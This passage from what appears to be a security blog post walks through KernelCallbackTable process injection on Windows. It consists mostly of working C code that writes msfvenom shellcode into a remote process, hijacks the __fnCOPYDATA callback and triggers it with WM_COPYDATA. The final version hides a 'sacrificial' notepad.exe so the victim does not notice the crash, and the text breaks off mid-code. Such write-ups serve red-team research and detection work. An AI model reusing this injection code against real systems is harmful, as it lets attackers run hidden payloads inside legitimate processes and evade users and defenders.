	<span class="n">pNtQueryInformationProcess</span> <span class="n">myNtQueryInformationProcess</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtQueryInformationProcess</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">),</span> <span class="s">"NtQueryInformationProcess"</span><span class="p">);</span>
	<span class="n">myNtQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ProcessBasicInformation</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pbi</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">PEB</span> <span class="n">peb</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">peb</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">peb</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] PEB Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">);</span>

	<span class="n">KERNELCALLBACKTABLE</span> <span class="n">kct</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] KernelCallbackTable Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">);</span>

	<span class="c1">// Write the payload to remote process</span>
	<span class="n">LPVOID</span> <span class="n">payloadAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">);</span>

	<span class="c1">// 4. Write the new table to the remote process</span>
	<span class="n">LPVOID</span> <span class="n">newKCTAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
	<span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">payloadAddr</span><span class="p">;</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">newKCTAddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] __fnCOPYDATA: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span><span class="p">);</span>

	<span class="c1">// Update the PEB</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newKCTAddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Remote process PEB updated</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Trigger execution of payload</span>
	<span class="n">COPYDATASTRUCT</span> <span class="n">cds</span><span class="p">;</span>
	<span class="n">WCHAR</span> <span class="n">msg</span><span class="p">[]</span> <span class="o">=</span> <span class="s">L"Pwn"</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">dwData</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">cbData</span> <span class="o">=</span> <span class="n">lstrlen</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">lpData</span> <span class="o">=</span> <span class="n">msg</span><span class="p">;</span>
	<span class="n">SendMessage</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="n">WM_COPYDATA</span><span class="p">,</span> <span class="p">(</span><span class="n">WPARAM</span><span class="p">)</span><span class="n">hWindow</span><span class="p">,</span> <span class="p">(</span><span class="n">LPARAM</span><span class="p">)</span><span class="o">&amp;</span><span class="n">cds</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload executed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Restore original KernelCallbackTable</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Original KernelCallbackTable restored</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Release memory for code and data</span>
	<span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_DECOMMIT</span> <span class="o">|</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
	<span class="n">VirtualFreeEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">newKCTAddr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">MEM_DECOMMIT</span> <span class="o">|</span> <span class="n">MEM_RELEASE</span><span class="p">);</span>
	
	<span class="c1">// Close handles</span>
	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hWindow</span><span class="p">);</span>
	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Cleaned up</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The above PoC uses <code class="language-plaintext highlighter-rouge">explorer.exe</code> as the target process. This is done using the <code class="language-plaintext highlighter-rouge">FindWindow()</code> function to get a handle to the window class <code class="language-plaintext highlighter-rouge">Shell_TrayWnd</code>, which is associated with <code class="language-plaintext highlighter-rouge">explorer.exe</code>. Execution of the payload begins when the <code class="language-plaintext highlighter-rouge">SendMessage()</code> function is called. This happens since <code class="language-plaintext highlighter-rouge">__fnCOPYDATA</code>, which points to the payload’s address, gets triggered when the <code class="language-plaintext highlighter-rouge">WM_COPYDATA</code> message is sent.</p>

<p>But why <code class="language-plaintext highlighter-rouge">explorer.exe</code> when there are other processes running on the system? That’s because the <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> that is found within the PEB only gets initialized when <code class="language-plaintext highlighter-rouge">user32.dll</code>, used by GUI processes, is loaded into the process’ memory. This means processes that do not load <code class="language-plaintext highlighter-rouge">user32.dll</code> won’t have the <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> field in the PEB.</p>

<p>During my experiment, the PoC didn’t work and it keeps on crashing <code class="language-plaintext highlighter-rouge">explorer.exe</code> right after updating the target process’ PEB <em>(by executing the below line of code)</em>. While <code class="language-plaintext highlighter-rouge">explorer.exe</code> auto-restarts after the crash, the obtained window handle is now invalid; resulting in a failed execution of the payload when <code class="language-plaintext highlighter-rouge">SendMessage()</code> is called.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Update the PEB</span>
<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newKCTAddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/explorer-crashed.gif"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/explorer-crashed.gif" alt="Explorer Crashed" /></a></p>

<p>What if we target other GUI processes? I tried it by getting a handle to the window class <code class="language-plaintext highlighter-rouge">Notepad</code> <em>(using the code below)</em> and have <code class="language-plaintext highlighter-rouge">notepad.exe</code> run before executing the code.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HWND</span> <span class="n">hWindow</span> <span class="o">=</span> <span class="n">FindWindow</span><span class="p">(</span><span class="s">L"Notepad"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</code></pre></div></div>

<p>And it worked! The payload gets executed <strong>but</strong> the target process still crashed right after the call to <code class="language-plaintext highlighter-rouge">SendMessage()</code>.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/payload-worked-notepad-crashed.gif"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/payload-worked-notepad-crashed.gif" alt="Payload Executed but Target Process Crashed" /></a></p>

<p>The problems I see with this method are:</p>

<ol>
  <li>You have to first enumerate the window classes available on the system. <em>(This is doable with <code class="language-plaintext highlighter-rouge">EnumWindows()</code> function.)</em></li>
  <li>The target process crashes no matter what. <em>(I tried targeting different GUI processes and window classes but they all crashed. Although in some instances, the payload gets executed and in some does not.)</em></li>
  <li>The crash is visible to the user.</li>
</ol>

<h2 id="others-solution">Other’s Solution</h2>

<p><a href="https://twitter.com/ORCA10K">ORCA666</a> found a way to solve this issue by not targeting <code class="language-plaintext highlighter-rouge">explorer.exe</code> and by loading <a href="https://gitlab.com/ORCA666/kcthijack/-/blob/main/KCTHijack/main.c#L175"><code class="language-plaintext highlighter-rouge">user32.dll</code> in memory</a>. However, his approach loads <code class="language-plaintext highlighter-rouge">user32.dll</code> in the current process’ memory and the payload gets executed locally instead of being injected into another process. If you want to have a look at his approach, visit his <a href="https://gitlab.com/ORCA666/kcthijack">KCTHIJACK</a> repo.</p>

<p>His solution is great but this is not what I wanted to do; that is injecting the payload in a remote process.</p>

<h2 id="my-solution">My Solution</h2>

<p>Since crashing the remote process is inevitable, why not spawn a “sacrificial” process that will not be visible to the user? This is the solution that I came up with that goes according to what I wanted to do.</p>

<h3 id="first-attempt-failed">First Attempt: FAILED!</h3>

<p>To achieve my goal, I used <code class="language-plaintext highlighter-rouge">CreateProcess()</code> to spawn an instance of <code class="language-plaintext highlighter-rouge">notepad.exe</code> and set the process creation flag <code class="language-plaintext highlighter-rouge">dwFlags</code> to <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> to make it “hidden”.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>
</code></pre></div></div>

<p>Well, that didn’t work because a suspended process does not have any window in it.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/no-window.png"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/no-window.png" alt="Suspened Process has no Window" /></a></p>

<p>No window means no handle to obtain so injection and execution of payload are not possible.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Window</span><span class="w"> </span><span class="nx">Handle:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Process</span><span class="w"> </span><span class="n">ID:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Process</span><span class="w"> </span><span class="n">Handle:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">PEB</span><span class="w"> </span><span class="nx">Address:</span><span class="w"> </span><span class="nx">0x0000020C2A583CC0</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">KernelCallbackTable</span><span class="w"> </span><span class="nx">Address:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Payload</span><span class="w"> </span><span class="nx">Address:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="err">__</span><span class="n">fnCOPYDATA:</span><span class="w"> </span><span class="nx">0x0000000000000000</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Remote</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="nx">PEB</span><span class="w"> </span><span class="nx">updated</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Payload</span><span class="w"> </span><span class="nx">executed</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Original</span><span class="w"> </span><span class="nx">KernelCallbackTable</span><span class="w"> </span><span class="nx">restored</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Cleaned</span><span class="w"> </span><span class="nx">up</span><span class="w">
</span></code></pre></div></div>

<h3 id="second-attempt-failed-again">Second Attempt: FAILED! (again)</h3>

<p>Instead of resorting to the <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> flag to hide the created process, I used the <code class="language-plaintext highlighter-rouge">dwFlags</code> and <code class="language-plaintext highlighter-rouge">wShowWindow</code> members of the <code class="language-plaintext highlighter-rouge">STARTUPINFO</code> structure and set their values to the following:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESHOWWINDOW</span><span class="p">;</span>
<span class="n">si</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="n">SW_HIDE</span><span class="p">;</span>
</code></pre></div></div>

<p>As for the process creation flag, I changed it from <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> to <code class="language-plaintext highlighter-rouge">CREATE_NEW_CONSOLE</code>. I got the result that I wanted; the process is not visible to the user and it has a window. However, no handle was obtained so injection and execution of payload still did not happen.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/process-has-window.png"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/process-has-window.png" alt="Created Process with Window" /></a></p>

<h3 id="third-attempt-success">Third Attempt: SUCCESS!</h3>

<p>After some digging, the reason my second attempt failed is that I didn’t give the created process enough time to initialize its inputs. A <code class="language-plaintext highlighter-rouge">Sleep()</code> function will fix the issue <em>(I tried it and it worked)</em>. However, I don’t want to wait until the number of seconds passed in <code class="language-plaintext highlighter-rouge">Sleep()</code> lapsed. I used <code class="language-plaintext highlighter-rouge">WaitForInputIdle()</code> instead so it will only wait until the process has finished its initialization.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WaitForInputIdle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</code></pre></div></div>

<p>Here’s the final code that I came up with.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"struct.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">payloadSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">);</span>

	<span class="c1">// Create a sacrifical process</span>
	<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
	<span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">STARTUPINFO</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESHOWWINDOW</span><span class="p">;</span>
	<span class="n">si</span><span class="p">.</span><span class="n">wShowWindow</span> <span class="o">=</span> <span class="n">SW_HIDE</span><span class="p">;</span>
	<span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_NEW_CONSOLE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>

	<span class="c1">// Wait for process initialization</span>
	<span class="n">WaitForInputIdle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>

	<span class="c1">// Find a window for explorer.exe</span>
	<span class="n">HWND</span> <span class="n">hWindow</span> <span class="o">=</span> <span class="n">FindWindow</span><span class="p">(</span><span class="s">L"Notepad"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Window Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hWindow</span><span class="p">);</span>

	<span class="c1">// Obtain the process pid and open it</span>
	<span class="n">DWORD</span> <span class="n">pid</span><span class="p">;</span>
	<span class="n">GetWindowThreadProcessId</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process ID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Process Handle: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="c1">// Read PEB and KernelCallBackTable addresses</span>
	<span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">pbi</span><span class="p">;</span>
	<span class="n">pNtQueryInformationProcess</span> <span class="n">myNtQueryInformationProcess</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtQueryInformationProcess</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandle</span><span class="p">(</span><span class="s">L"ntdll.dll"</span><span class="p">),</span> <span class="s">"NtQueryInformationProcess"</span><span class="p">);</span>
	<span class="n">myNtQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ProcessBasicInformation</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pbi</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pbi</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">PEB</span> <span class="n">peb</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">peb</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">peb</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] PEB Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span><span class="p">);</span>

	<span class="n">KERNELCALLBACKTABLE</span> <span class="n">kct</span><span class="p">;</span>
	<span class="n">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] KernelCallbackTable Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">peb</span><span class="p">.</span><span class="n">KernelCallbackTable</span><span class="p">);</span>

	<span class="c1">// Write the payload to remote process</span>
	<span class="n">LPVOID</span> <span class="n">payloadAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">payloadSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload Address: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">payloadAddr</span><span class="p">);</span>

	<span class="c1">// 4. Write the new table to the remote process</span>
	<span class="n">LPVOID</span> <span class="n">newKCTAddr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
	<span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">payloadAddr</span><span class="p">;</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">newKCTAddr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">kct</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">kct</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] __fnCOPYDATA: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kct</span><span class="p">.</span><span class="n">__fnCOPYDATA</span><span class="p">);</span>

	<span class="c1">// Update the PEB</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="p">(</span><span class="n">PBYTE</span><span class="p">)</span><span class="n">pbi</span><span class="p">.</span><span class="n">PebBaseAddress</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">PEB</span><span class="p">,</span> <span class="n">KernelCallbackTable</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">newKCTAddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Remote process PEB updated</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">// Trigger execution of payload</span>
	<span class="n">COPYDATASTRUCT</span> <span class="n">cds</span><span class="p">;</span>
	<span class="n">WCHAR</span> <span class="n">msg</span><span class="p">[]</span> <span class="o">=</span> <span class="s">L"Pwn"</span><span class="p">;</span>
